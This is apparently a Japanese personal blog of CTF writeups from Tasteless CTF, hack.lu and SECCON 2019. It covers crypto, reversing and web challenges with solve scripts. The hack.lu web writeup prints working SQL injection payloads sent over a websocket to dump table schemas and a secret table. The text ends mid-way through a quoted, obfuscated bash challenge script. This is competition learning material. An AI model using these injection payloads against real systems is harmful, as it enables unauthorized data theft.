TSALVIA技術メモ

CTFのWriteupや気になったツールについて書いていきます。また、このサイトはGoogle Analyticsを利用しています。

Tasteless CTF 2019 Writeup

Tasteless CTF 2019 について

Tasteless CTF 2019 が開催されました。
2019年10月26日午後9時~2019年10月27日午後9時(24時間)

ctf.tasteless.eu

このCTFも難易度の高い問題が多かったです。色々問題を見ていましたが、チュートリアル問題も含めて結局2問しか解くことができませんでした。 一応今回もチームで参加しました。結果は、47/157位で155点でした。 今回、私が実際に解いた2問のWriteupを紹介します。

f:id:tsalvia:20191028011157p:plain

同日にBackdoorCTF 2019も開催されていました。 こちらも同時に参加していました。Writeupを書きましたので、参考にしてみてください。

tsalvia.hatenablog.com

Tasteless CTF 2019 Writeup(2問)

sanity(misc)

問題

this challenge is protected.
hitme.tasteless.eu:10001

protected challenges will require a proof-of-work like this:
sha1(abc123, input) prefix = 00000...

you need to respond with a single line suffix to abc123, so that sha1(abc123[input]) has a 00000 prefix example: sha(abc12344739190).hexdigest = 000000872D5625DEE5FD0EA44B230D7A98C1B2CA

you can use go run pow.go abc123 00000 or python pow.py abc123 00000 to generate your own. the pow binary is go, compiled for linux/amd64.

  • pow
  • pow.go
  • pow.py

解答例

Tasteless CTF のチュートリアル問題です。 このCTFは、少し変わっていて、netcatで接続する問題にプロテクトがかかっている場合があります。 他のCTFと同じようにnetcatで接続するだけでは、問題にたどり着くことができません。

netcatで接続してみると、以下のようになります。

$ nc hitme.tasteless.eu 10001
sha1(cf27ff1e75faba1c, input) prefix = 00000...

Tasteless CTFは、接続用のツールを提供しており、これを使って問題を解いていく必要があるようです。 ヘルプを見ると以下のように表示されます。

$ ./pow
usage

solve args:
Usage: ./pow <prefix> <hash>
Usage: ./pow d616656ece36eb66 00000

solve serverresponse:
Usage: ./pow '<serverresponse>'
Usage: ./pow 'sha1(d616656ece36eb66, input) prefix = 00000...'

netcat mode:
Usage: ./pow connect <host> <port>
Usage: ./pow connect hitme.tasteless.eu 10001

server mode:
Usage: ./pow listen <addr> <host> <port>
Usage: ./pow listen :12345 hitme.tasteless.eu 10001

実行すると、フラグが表示されました。

$ ./pow connect hitme.tasteless.eu 10001
welcome! tctf{are_y0u_readdddyyyy}

FLAG

tctf{are_y0u_readdddyyyy}

babypad(crypto)

問題

We heard this kind of enription is super securr, so we'll just give you the flag encripted!
f:id:tsalvia:20191028011804p:plain nc hitme.tasteless.eu 10401
$ sha1sum chall.c
d64fc2e2f979b693696efe1762e18153df1b6170 chall.c
Author: plonk

chall.c

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <assert.h>

int main() {
    char *plaintext = NULL;
    char *one_time_pad = NULL;
    char *ciphertext = NULL;
    size_t flag_length = 0;
    FILE *flag = fopen("flag.txt", "r");
    FILE *urandom = fopen("/dev/urandom", "r");
    assert(flag && urandom);

    /*
     * Get flag length, and allocate memory for the plaintext,
     * one-time pad and ciphertext.
     */
    fseek(flag, 0, SEEK_END);
    flag_length = ftell(flag);
    rewind(flag);

    plaintext = malloc(flag_length + 1);
    one_time_pad = malloc(flag_length + 1);
    ciphertext = malloc(flag_length + 1);
    assert(plaintext && one_time_pad && ciphertext);

    /* Read the plaintext and the one-time-pad */
    fread(plaintext, flag_length, 1, flag);
    fread(one_time_pad, flag_length, 1, urandom);
    plaintext[flag_length] = '\0';
    one_time_pad[flag_length] = '\0';

    /* Make sure that the one-time-pad isn't too short. */
    assert(strlen(plaintext) == strlen(one_time_pad));

    for (int i = 0; i < flag_length; i++) {
        ciphertext[i] = plaintext[i] ^ one_time_pad[i];
    }

    fwrite(ciphertext, flag_length, 1, stdout);
    return 0;
}

解答例

この問題は、ソースコードが提供されました。 読んでみると、以下のような処理を行っていました。

  1. flag.txtのデータサイズを求める。
  2. flag.txtのデータサイズ+1の長さのバッファ(plaintextone_time_padciphertext)を3つ確保する。
  3. flag.txtからデータを読み出し、plaintextに格納する。
  4. /dev/urandomからデータを読み出し、one_time_padに格納する。
  5. plaintextone_time_padを1文字ずつ取り出して、それぞれをXOR演算し、ciphertextに格納する(flag.txtのデータサイズ分繰り返す)。
  6. ciphertextを標準出力に出力する。

ただし、よく読んでみると、以下のような処理が確認できます。 C言語のstrlenは、Null文字までの文字数を返す関数です。 そのため、/dev/urandomから読み出したデータに\0が含まれる場合、ここでエラーとなり終了してしまいます。

/* Make sure that the one-time-pad isn't too short. */
assert(strlen(plaintext) == strlen(one_time_pad));

実際にコンパイルして、何度か実行していると想定箇所で終了しました。

$ gcc chall.c
$ ./a.out
a.out: chall.c:35: main: Assertion `strlen(plaintext) == strlen(one_time_pad)' failed.
Aborted (core dumped)

よって、XORキーには、0x00が含まれないということが分かりました。 そのため、何度もXORで暗号化された文字列を取得し、0x01~0xFFで復号していけば絞り込むことができそうです。

以下のようなスクリプトを作成し、復号パターンを絞り込んでいきました。

from pwn import *
import string

def check_dec_pattern(pattern, enc_flag, offset):
    new_pattern = ""
    for key in range(1, 0x100):
        ch = chr(enc_flag[offset] ^ key)
        if ch in pattern:
            new_pattern += ch
    return new_pattern

def get_enc_flag():
    while True:
        context.log_level = "error"
        con = remote("hitme.tasteless.eu", 10401)
        enc_flag = con.recvall()
        if len(enc_flag) > 0:
            return enc_flag

def main():
    max_len = len(get_enc_flag())

    pattern_list = []
    for _ in range(max_len):
        pattern = string.ascii_letters + string.digits + string.punctuation
        pattern_list.append(pattern)

    loop_end = False
    while loop_end == False:
        enc_flag = get_enc_flag()

        loop_end = True
        for i in range(max_len):
            new_pattern = check_dec_pattern(pattern_list[i], enc_flag, i)
            pattern_list[i] = new_pattern
            if len(new_pattern) > 1:
                print(len(new_pattern), end=", ")
                loop_end = False
            else:
                print(new_pattern, end=", ")
        print()
    
    print("".join(pattern_list))

if __name__ == "__main__":
    main()

結構時間がかかりましたが、完全に復号することができました。

$ python solve.py
93, 94, 93, 94, 94, 93, 94, 94, 94, 94, 94, 94, 93, 94, 93, 94, 94, 93, 94, 93, 94, 93, 94, 93, 93, 94, 94, 94, 94, 93, 94, 94, 93, 94, 94, 94, 94, 
92, 93, 93, 93, 94, 93, 93, 94, 93, 94, 93, 93, 93, 94, 92, 93, 94, 92, 94, 93, 94, 93, 93, 93, 92, 94, 94, 94, 93, 92, 94, 94, 92, 93, 93, 94, 94, 
91, 93, 93, 93, 94, 93, 93, 94, 92, 94, 93, 93, 92, 93, 92, 93, 94, 91, 94, 92, 94, 92, 93, 92, 91, 94, 93, 93, 93, 92, 94, 93, 92, 93, 93, 94, 93, 
90, 92, 92, 93, 94, 92, 92, 93, 92, 94, 92, 92, 92, 92, 92, 93, 94, 91, 93, 91, 94, 92, 93, 91, 91, 94, 92, 93, 93, 92, 94, 92, 91, 92, 92, 94, 93,

# 省略

t, c, t, f, {, p, 1, z, _, u, s, 2, :, 4, l, l, -, t, 3, h, _, b, y, 7, e, 5, >, 0, n, 3, _, t, i, m, 3, }, , 
t, c, t, f, {, p, 1, z, _, u, s, 2, :, 4, l, l, -, t, 3, h, _, b, y, 7, e, 5, >, 0, n, 3, _, t, i, m, 3, }, , 
t, c, t, f, {, p, 1, z, _, u, s, 3, :, 4, l, l, -, t, 3, h, _, b, y, 7, e, 5, >, 0, n, 3, _, t, i, m, 3, }, , 
tctf{p1z_us3:4ll-t3h_by7e5>0n3_tim3}

FLAG

tctf{p1z_us3:4ll-t3h_by7e5>0n3_tim3}

hack.lu CTF 2019 Writeup

hack.lu CTF 2019 Writeup について

hack.lu CTF 2019 が開催されました。
2019年10月22日午後7時~2019年10月24日午後7時(48時間)

https://fluxfingersforfuture.fluxfingers.net/info

かなり難易度の高いCTFでした。OTセキュリティに焦点を当てているのか、 別のアーキテクチャのPwn問題だったり、古い言語が使われていたり、工場系のワードがよく出ていました。 一応今回もチームで参加しましたが、私しか解けていませんでした。 結果は、104/973位で477点でした。このCTFの中で回答率の高い3問解けたので、そのWriteupを紹介します。

f:id:tsalvia:20191025085814p:plain

hack.lu CTF 2019 Writeup(3問)

Nucular Power Plant(baby-web)

問題

We found this overview page of nucular power plants, maybe you can get us some secret data to fight them?
http://31.22.123.49:1909

解答例

指定されたURLにアクセスすると、以下のようなページが表示されました。 原子力発電所の各施設の発電量の確認ができるようです。

f:id:tsalvia:20191025073715p:plain

とりあえず、F12で確認しました。 main.jsを見てみると、以下の処理が確認できました。 websocketで接続し、Plant情報を取ってきて表示する処理となっているようです。

const elPlantList = document.getElementById('plant-list');
const elPlantListLoading = document.getElementById('plant-list-loading');
const elPlantDetail = document.getElementById('plant-detail');
const elPlantDetailLoading = document.getElementById('plant-detail-loading');

const plantListItem = (ws, plant) => {
    const li = document.createElement('li');
    const fali = document.createElement('span');
    const icon = document.createElement('i');

    li.onclick = (e) => {
        ws.send(plant);
    };

    fali.className = 'fa-li';
    icon.className = 'fas fa-industry-alt';
    li.innerText = plant;

    fali.appendChild(icon);
    li.appendChild(fali);
    elPlantList.appendChild(li);
};
const plantList = (ws, plants) => {
    // clear old entries
    while (elPlantList.hasChildNodes()) {
        elPlantList.removeChild(elPlantList.firstChild);
    }

    for (const plant of plants) {
        plantListItem(ws, plant);
    }
    
    elPlantList.style = 'display: block;';
    elPlantListLoading.style = 'display: none;';
};

const plantDetails = (plant) => {
    plantPowerSupply(0);
    
    const fields = ["name", "type", "power", "operation", "operator", "shutdown"];
    for (const field of fields) {
        for (const el of document.getElementsByClassName(`plant-${field}`)) {
            el.innerText = plant[field];
        }
    }

    elPlantDetail.style = 'display: block;';
    elPlantDetailLoading.style = 'display: none;';
};
const plantPowerSupply = (powerSupply) => {
    for (const el of document.getElementsByClassName('plant-power-supply')) {
        el.innerText = powerSupply % 101;
    }
};

const main = () => {
    const ws = new WebSocket(`ws://${window.location.host}/ws`);
    ws.onerror = (e) => {
        alert('WebSocket connection failed.');
    };
    ws.onmessage = (e) => {
        const data = JSON.parse(e.data);

        if (typeof data === 'string') {
            alert(data);
        } else if (typeof data === 'number') {
            plantPowerSupply(data);
        } else if (Array.isArray(data)) {
            plantList(ws, data);
        } else {
            plantDetails(data);
        }
    }
}

main();

Pythonからwebsocketに接続するようなスクリプトを作成しました。 初回接続時にPlant名のリストを取得でき、Plant名を送信するとそのPlant情報が取得できるようです。 また、それ以降は、Current Power Supply情報が取得できるようです。

from websocket import create_connection
import json

def main():
    ws = create_connection("ws://31.22.123.49:1909/ws")
    result = json.loads(ws.recv())
    print(result)

    ws.send(result[0])
    result = json.loads(ws.recv())
    print(result)

    for _ in range(5):
        result = json.loads(ws.recv())
        print(result)

    ws.close()

if __name__ == "__main__":
    main()

実行すると、以下のようになります。

$ pip install websocket
$ python test.py 
['Gundremmingen C', 'Grohnde', 'Phillipsburg 2', 'Brokdorf', 'Isar 2', 'Emsland', 'Neckarwestheim 2']
{'operation': 1985, 'name': 'Gundremmingen C', 'operator': 'RWE', 'shutdown': 2021, 'type': 'BWR', 'power': 1288}
3011294498
2473469445
1778470357
3795357061
3846035812

次に、総当たりで1文字ずつ送信するスクリプトを作成しました。

from websocket import create_connection
import json
import string

def main():
    ws = create_connection("ws://31.22.123.49:1909/ws")
    result = json.loads(ws.recv())
    print(result)

    for ch in string.printable:
        ws.send(ch)
        result = json.loads(ws.recv())
        print("{}: {}".format(ch, result))

    ws.close()

if __name__ == "__main__":
    main()

実行すると、以下のようになります。

$ python test.py 
['Gundremmingen C', 'Grohnde', 'Phillipsburg 2', 'Brokdorf', 'Isar 2', 'Emsland', 'Neckarwestheim 2']
0: Error: QueryReturnedNoRows
1: Error: QueryReturnedNoRows
2: Error: QueryReturnedNoRows

# 省略

X: Error: QueryReturnedNoRows
Y: Error: QueryReturnedNoRows
Z: Error: QueryReturnedNoRows
!: Error: QueryReturnedNoRows
": Error: SqliteFailure(Error { code: Unknown, extended_code: 1 }, Some("unrecognized token: \"\"\"\"\""))
#: Error: QueryReturnedNoRows
$: Error: QueryReturnedNoRows

# 省略

" を送信したときだけ、別のエラーが返ってきています。

Error: SqliteFailure(Error { code: Unknown, extended_code: 1 }, Some("unrecognized token: \"\"\"\"\""))

SQLiteのエラーが返ってきているので、SQLインジェクションができそうです。 以下のようなスクリプトを作成し、色々なクエリを投げてみました。

from websocket import create_connection
import json
import sys

def main():
    if len(sys.argv) < 2:
        print("input error")
        return

    ws = create_connection("ws://31.22.123.49:1909/ws")
    result = json.loads(ws.recv())
    print(result)

    query = sys.argv[1] 
    ws.send(query)
    print("query:", query)

    result = json.loads(ws.recv())
    if type(result) == dict:
        print("result:", end="")
        for item in result.items():
            print("\t{}, {}".format(item[0], item[1]))
    else:
        print("result:", result)

if __name__ == "__main__":
    main()

" UNION SELECT tbl_name,sql,rootpage,1,name,1 FROM sqlite_master-- と入力すると、nucular_plantテーブル情報を参照することができました。 このテーブルでPlant情報を管理しているようです。

$ python test.py '" UNION SELECT tbl_name,sql,rootpage,1,name,1 FROM sqlite_master-- '
['Gundremmingen C', 'Grohnde', 'Phillipsburg 2', 'Brokdorf', 'Isar 2', 'Emsland', 'Neckarwestheim 2']
query: " UNION SELECT tbl_name,sql,rootpage,1,name,1 FROM sqlite_master-- 
result: operator, nucular_plant
        shutdown, 1
        power, 2
        name, nucular_plant
        type, CREATE TABLE nucular_plant (
                  id INTEGER PRIMARY KEY,
                  name TEXT NOT NULL,
                  type TEXT NOT NULL,
                  power INTEGER NOT NULL,
                  operation INTEGER NOT NULL,
                  operator TEXT NOT NULL,
                  shutdown INTEGER NOT NULL
                  )
        operation, 1

次に " UNION SELECT tbl_name,sql,rootpage,1,name,1 FROM sqlite_master WHERE rootpage=3-- でrootpageを指定して別のテーブル情報を取得しました。 どうやら、secret テーブルがあるようです。

$ python test.py '" UNION SELECT tbl_name,sql,rootpage,1,name,1 FROM sqlite_master WHERE rootpage=3-- '
['Gundremmingen C', 'Grohnde', 'Phillipsburg 2', 'Brokdorf', 'Isar 2', 'Emsland', 'Neckarwestheim 2']
query: " UNION SELECT tbl_name,sql,rootpage,1,name,1 FROM sqlite_master WHERE rootpage=3-- 
result: name, secret
        power, 3
        shutdown, 1
        operator, secret
        type, CREATE TABLE secret (
                  id INTEGER PRIMARY KEY,
                  name TEXT NOT NULL,
                  value TEXT NOT NULL
                  )
        operation, 1

あとは、secretテーブル情報を参考に" UNION SELECT name,value,id,1,name,1 FROM secret-- と入力してみると、フラグが取得できました。

$ python test.py '" UNION SELECT name,value,id,1,name,1 FROM secret-- '
['Gundremmingen C', 'Grohnde', 'Phillipsburg 2', 'Brokdorf', 'Isar 2', 'Emsland', 'Neckarwestheim 2']
query: " UNION SELECT name,value,id,1,name,1 FROM secret-- 
result: power, 2
        operation, 1
        type, flag{sqli_as_a_socket}
        name, flag
        operator, flag
        shutdown, 1

FLAG

flag{sqli_as_a_socket}

VsiMple(rev)

問題

Evil Oil corporations are trying to obfuscate their computers in order to destroy the world. Show 'em their stupidity!
Download challenge files

解答例

実行ファイルを渡されたので、とりあえずfileコマンドを打ってみます。 64bitのPEファイルのようです。

$ file VsiMple.exe
VsiMple.exe: PE32+ executable (console) x86-64, for MS Windows

実行してみると、フラグの入力を求められます。適当に打ってみると、:(と返されました。

PS> .\VsiMple.exe
flag pls: hoge
:(

次に、Ghidraでデコンパイルしてみました。

f:id:tsalvia:20191026154113p:plain

60行目を見てみると、ret = (*(&local_d8)[num])(&local_d8); としており、関数テーブルから関数を指定して、呼び出している処理が確認できます。 また、その関数の指定は、58行目のところでループごとに変動するようになっていまいます。

今度は、実際にx64dbgで動かしながら処理を確認してみます。

該当の箇所でbreakさせました。

f:id:tsalvia:20191026155725p:plain

Continueを押していくと、以下の順に呼び出されていることが分かりました。

1回目:0x00007FF7C2358240
f:id:tsalvia:20191026160016p:plain
2回目:0x00007FF7C23581C0
f:id:tsalvia:20191026155827p:plain
3回目:0x00007FF7C23581C0
f:id:tsalvia:20191026155856p:plain
4回目:0x00007FF7C23581B0
f:id:tsalvia:20191026155915p:plain

次に、上記の関数にbreakpointを置いて、flagと入力して実行してみました。 前回のように適当に入力した場合と違い、呼び出し回数が多くなっているのが確認できます。

f:id:tsalvia:20191026164611p:plain

さらに、flag{ と入力して実行してみました。 すると、呼び出し回数が先ほどよりも多くなりました。

f:id:tsalvia:20191026164820p:plain

どうやら1文字ずつ判定しているようです。 ここまで分かったので、1文字ずつ総当たりで、呼び出し回数が多くなる入力を探していきました。 総当たりの結果、flag{br34k1ng_th3_s1mul4t1on_m4tr1x_style} と入力した場合が最大の呼び出し回数となりました。 この文字列がフラグとなります。

f:id:tsalvia:20191026170233p:plain

FLAG

flag{br34k1ng_th3_s1mul4t1on_m4tr1x_style}

COBOL OTP(crypto)

問題

To save the future you have to look at the past. Someone from the inside sent you an access code to a bank account with a lot of money. Can you handle the past and decrypt the code to save the future?
Download challenge files

解答例

以下のようなCobolで書かれたプログラムが渡されました。

       identification division.
       program-id. otp.
      
       environment division.
       input-output section.
       file-control.
           select key-file assign to 'key.txt'
           organization line sequential.
      
       data division.
       file section.
       fd key-file.
       01 key-data pic x(50).
      
       working-storage section.
       01 ws-flag pic x(1).
       01 ws-key pic x(50).
       01 ws-parse.
           05 ws-parse-data pic S9(9).
       01 ws-xor-len pic 9(1) value 1.
       77 ws-ctr pic 9(1).
      
       procedure division.
           open input key-file.
           read key-file into ws-key end-read.
      
           display 'Enter your message to encrypt:'.
           move 1 to ws-ctr.
           perform 50 times
               call 'getchar' end-call
               move return-code to ws-parse
               move ws-parse to ws-flag

               call 'CBL_XOR' using ws-key(ws-ctr:1) ws-flag by value
               ws-xor-len end-call

               display ws-flag with no advancing
               add 1 to ws-ctr end-add
           end-perform.
      
       cleanup.
           close key-file.
           goback.
       end program otp.

ソースコードを読むと、以下のような処理となっています。

  1. key.txtを読み出す。
  2. Enter your message to encrypt: と表示する。
  3. getcharで1文字ずつ標準入力を受け付ける。
  4. 入力値とkey.txtの値をXORする。
  5. XORされた文字を出力する。
  6. 3~5を50回繰り返す。

ただし、よくソースコードを見てみると、77 ws-ctr pic 9(1). となっており、 ws-ctrは、0~9までしか保持できないようになっています。 よって、XORされるキーは、key.txt の初めの10文字分となっています。

また、もう一つのファイルを見てみました。 以下のようになっており、出力結果のダンプとなっているようです。

$ cat out
Enter your message to encrypt:
y;dhuF]UjhC-1T`h&F1*T{_p02J
$ hexdump -C out
00000000  45 6e 74 65 72 20 79 6f  75 72 20 6d 65 73 73 61  |Enter your messa|
00000010  67 65 20 74 6f 20 65 6e  63 72 79 70 74 3a 0a a6  |ge to encrypt:..|
00000020  d2 13 96 79 3b 10 64 68  75 9f dd 46 9f 5d 17 55  |...y;.dhu..F.].U|
00000030  6a 68 43 8f 8c 2d 92 31  07 54 60 68 26 9f cd 46  |jhC..-.1.T`h&..F|
00000040  87 31 2a 54 7b 04 5f a6  eb 06 a4 70 30 11 32 4a  |.1*T{._....p0.2J|
00000050  0a                                                |.|
00000051

XORキーが10桁分しかないことが分かっているので、後は予測しながらフラグを復号していきます。 おそらく入力された文字列は、以下のような感じになっているはずです。

flag{?????
??????????
??????????
??????????
????????}\n

そのため、XORキーの0~4番目と8~9番目は、求められそうです。
しかし、まだ5~7番目が分かりません。ここは、総当たりをしてみます。

以下のようなスクリプトを書きました。5~7番目は、総当たりで出力するようにしています。

import itertools
import string

def split_n(s, n):
    return [s[i: i+n] for i in range(0, len(s), n)]
    
def xor_bytes(b, key):
    result = bytearray()
    for i in range(len(b)):
        dec = b[i] ^ key[i % len(key)]
        result.append(dec)  
    return bytes(result)

def search_key_candidate(enc_flag_list, offset):
    key = []
    for k in range(0x100):
        tmp_s = ""
        for s in enc_flag_list:
            ch = chr(s[offset] ^ k)
            if ch in string.printable and ch not in string.whitespace:
                tmp_s += ch
        
        if len(tmp_s) == len(enc_flag_list):
            key.append(k)
    return key

def main():
    with open("out", "rb") as f:
        f.readline()
        enc_flag = f.readline()
    
    enc_flag_list = split_n(enc_flag, 10)
    
    key_candidates1 = xor_bytes(enc_flag_list[0], b"flag{xxxxx")
    key_candidates2 = xor_bytes(enc_flag_list[-1], b"xxxxxxxx}\n")

    key = [
        key_candidates1[0], # f
        key_candidates1[1], # l
        key_candidates1[2], # a
        key_candidates1[3], # g
        key_candidates1[4], # {
            0x00,
            0x00,
            0x00,
        key_candidates2[8], # }
        key_candidates2[9], # \n
    ]

    key5_candidates = search_key_candidate(enc_flag_list, 5)
    key6_candidates = search_key_candidate(enc_flag_list, 6)
    key7_candidates = search_key_candidate(enc_flag_list, 7)

    for i in key5_candidates:
        for j in key6_candidates:
            for k in key7_candidates:
                key[5] = i
                key[6] = j
                key[7] = k
                flag = xor_bytes(enc_flag, key).decode("utf-8")
                print("({:4},{:4},{:4}): {}".format(hex(i), hex(j), hex(k), flag), end="")

if __name__ == "__main__":
    main()

試しに実行してみると、178,416件のフラグ候補が出力されました。

$ python solve.py | nl | tail -n 1
178416  (0x7f,0x7f,0x5f): flag{Do;_u_c4n_h*5_CO2_c3x+?_&_s4v3U+$3_fUtUrOnm}

ここからは、grepしながら探していきます。 フラグの後半にfUtUrという文字列があり、futureのように見えます。

以下のように、grepしてみると、3,024件まで候補を絞ることができました。

$ python solve.py | grep fUtUre | nl | tail -n 1
$ python solve.py | grep fUtUr3 | nl | tail -n 1
$ python solve.py | grep fUtUrE | nl | tail -n 1
  3024  (0x75,0x7f,0x5f): flag{No;_u_c4n_b*5_CO2_c3r+?_&_s4v3_+$3_fUtUrEnm}

3,024件程度なら目grepできそうです。 flag{ の後のNから始まる3文字の単語でいい感じのやつを目grepしました。 18行目が一番いい感じになっています。

18  (0x75,0x20,0x13): flag{N0w_u_c4n_buy_CO2_c3rts_&_s4v3_th3_fUtUrE1!}

強引でしたが、これがフラグとなっていました。
(もっとスマートに解くには、どうすればいいんだろうか......)

FLAG

flag{N0w_u_c4n_buy_CO2_c3rts_&_s4v3_th3_fUtUrE1!}

SECCON 2019 Online CTF Writeup

SECCON 2019 Online CTF について

SECCON 2019 Online CTFが開催されました。
2019年10月19日午後15時~2019年10月20日午後15時(24時間)

https://www.seccon.jp/2019/seccon2019/seccon_ctf_2019_quals.html

毎年恒例のSECCON CTFの予選です。 私は、今回初参加となります。ただ、当日試験と被っており、ほとんど参加することができませんでした。 問題内容も結構難しく、ちゃんと参加していてもほぼ解けていなかったと思います。 今回は、11人のチームで参加しました。結果は、128/799位で545点でした。 私も、一応1問だけ解くことができたので、そのWriteupを紹介します。

f:id:tsalvia:20191022185341p:plain

SECCON 2019 Online CTF Writeup(1問)

Beeeeeeeeeer(misc)

問題

Let's decode!
・Beeeeeeeeeer

解答例

Beeeeeeeeeer_ec349d2c91cb37b7657bc3d684d0b5c4c8cb06a2 を開いてみると、以下のようなスクリプトとなっていました。 ワンラインでいろいろと処理が実行されるようです。

echo -e "\033#8";sleep 1;C=$(tput cols);L=$(tput lines);for ID in $(seq $(($L*$C*6)));do x=$(($RANDOM%$C));y=$(($RANDOM%$L));printf "\033[${y};${x}f ";done;for ID in $(seq $(($L*$C*6)));do x=$(($RANDOM%$C));y=$(($RANDOM%$L));printf "\033[${y};${x}fF";done;clear;echo TGV0J3MgZGVjb3JkaW5nISjiiafiiIDiiaYqKQo=|base64 -d;read;$'\164\162\141\160' '' $'\61' $'\62' $'\63' $'\x31\x35' $'\x31\x38' $'\u0031\u0039' $(echo MjAK |base64 -d);echo $-|grep x && exit;$(echo =btB |rev|tr A-Za-z N-ZA-Mn-za-m|base64 -d)|$(echo =bNpyW3M |rev|tr A-Za-z N-ZA-Mn-za-m|base64 -d) $(echo XRKY |rev|tr A-Za-z N-ZA-Mn-za-m|base64 -d) $(echo =ogO |rev|base64 -d)&&exit;if [ -z "$1" ];then  ID=$'\x6e\x61\x6e\x64\x6f\x6b\x75';else  ID="$1";fi;if whoami | grep -e root -e user -e adm -e nobody -e test -e "$ID" >/dev/null;then :;else exit; fi;for i in $($'\x73\x65\x71' $((RANDOM % 10)));do  $($'\x65\x63\x68\x6f' c2xlZXAK | $'\x62\x61\x73\x65\x36\x34' -d) $((RANDOM % 300));done;$'\145\143\150\157' $-|$(echo =oAclJ3Z |rev|base64 -d) $(echo =oAe |rev|base64 -d) && $($'\x65\x63\x68\x6f' ZXhpdAo= | $'\x62\x61\x73\x65\x36\x34' $'\x2d\x64' );$(echo =btB |rev|tr A-Za-z N-ZA-Mn-za-m|base64 -d)|$(echo M3WypNb= |tr A-Za-z N-ZA-Mn-za-m|base64 -d) $(echo YKRX |tr A-Za-z N-ZA-Mn-za-m|base64 -d) $(echo Btb= |tr A-Za-z N-ZA-Mn-za-m|base64 -d)&&exit;$'\145\170\160\157\162\164' $'\u0053\u0031'=$(echo aG9nZWZ1Z2EK |base64 -d);echo -n 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